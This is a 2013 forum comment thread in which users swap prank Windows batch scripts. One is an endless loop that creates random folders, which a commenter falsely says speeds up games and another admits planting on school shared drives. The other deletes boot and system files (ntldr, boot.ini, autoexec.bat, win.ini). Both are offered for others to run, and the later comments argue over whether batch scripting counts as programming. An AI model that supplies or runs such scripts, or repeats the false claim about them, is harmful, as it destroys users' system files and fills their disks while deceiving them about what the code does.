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#3 - holler (05/24/2013) [-]
on a side note open notepad, paste

@echo off
:top
md %random%
goto top

save as .bat

run
#130 to #3 - nohate (05/25/2013) [-]
Why...I let my curiosity get the best of me...
#37 to #3 - oreosboi (05/24/2013) [-]
wh...what happens if i do it? Im scared and yet so tempted...
User avatar #97 to #37 - bighairyfart (05/25/2013) [-]
It makes 32,000 empty folders. I had a LOT of fun by putting this up on my school's shared drives & naming them things that make people want to open it.
User avatar #75 to #37 - fukbushizgetmunny (05/25/2013) [-]
It makes endless folders
#47 to #37 - anonymous (05/24/2013) [-]
Your computer runs a lot faster, by enhancing the graphics user interface to load visual basic graphical skins faster, ergo - games like skyrim, Bioshock Infinite and Far Cry 3 load much faster.
#30 to #3 - anonymous (05/24/2013) [-]
>Search for code that can **** **** up
>OMG GUISE IAM COMPUTER PROGRAMMING PROOO
User avatar #114 to #30 - xortrox (05/25/2013) [-]
Implying .bat scripting is programming.
#202 to #114 - cabbagemayhem (05/25/2013) [-]
Implying it's not.
#223 to #202 - xortrox (05/25/2013) [-]
Wait... did you think I meant .bat was programming?
User avatar #221 to #202 - xortrox (05/25/2013) [-]
Implying it is.
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You do not compile .bat files thus it is not programming, but it doesn't really matter I guess...
#235 to #221 - cabbagemayhem (05/25/2013) [-]
Batch is a high-level programming language. It doesn't matter if it's compiled or interpreted. A program is a sequence of instructions written to perform a task, and programming is the process of creating programs. Batch, Python, Perl, Ruby, and even Bash always was and always will be programming languages. So, once again:
>implying it's not
User avatar #236 to #235 - xortrox (05/25/2013) [-]
I shall accept my defeat.

Altough this doesn't seem to be an argument that even matters with todays technology after all...
#245 to #238 - cabbagemayhem (05/25/2013) [-]
There are no major differences between a script and compiled program. Compiled programs are effectively just scripts converted to a format that the computer can read faster with fewer resources. A script is effectively no different than any other source code, except that it's automatically "compiled" (or interpreted line-by-line) and executed when you double-click it. That's why you need to install Python, Perl, and Ruby before running their respective scripts, but you only need to install gcc to compile a C program, not to run it.
User avatar #17 to #3 - empithree (05/24/2013) [-]
filthy casual

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows
\win.ini
del c:\windows\win.ini
User avatar #11 to #3 - blarglestheclown (05/24/2013) [-]
jesus does know best right?
#4 to #3 - anonymous (05/24/2013) [-]
you're an ass
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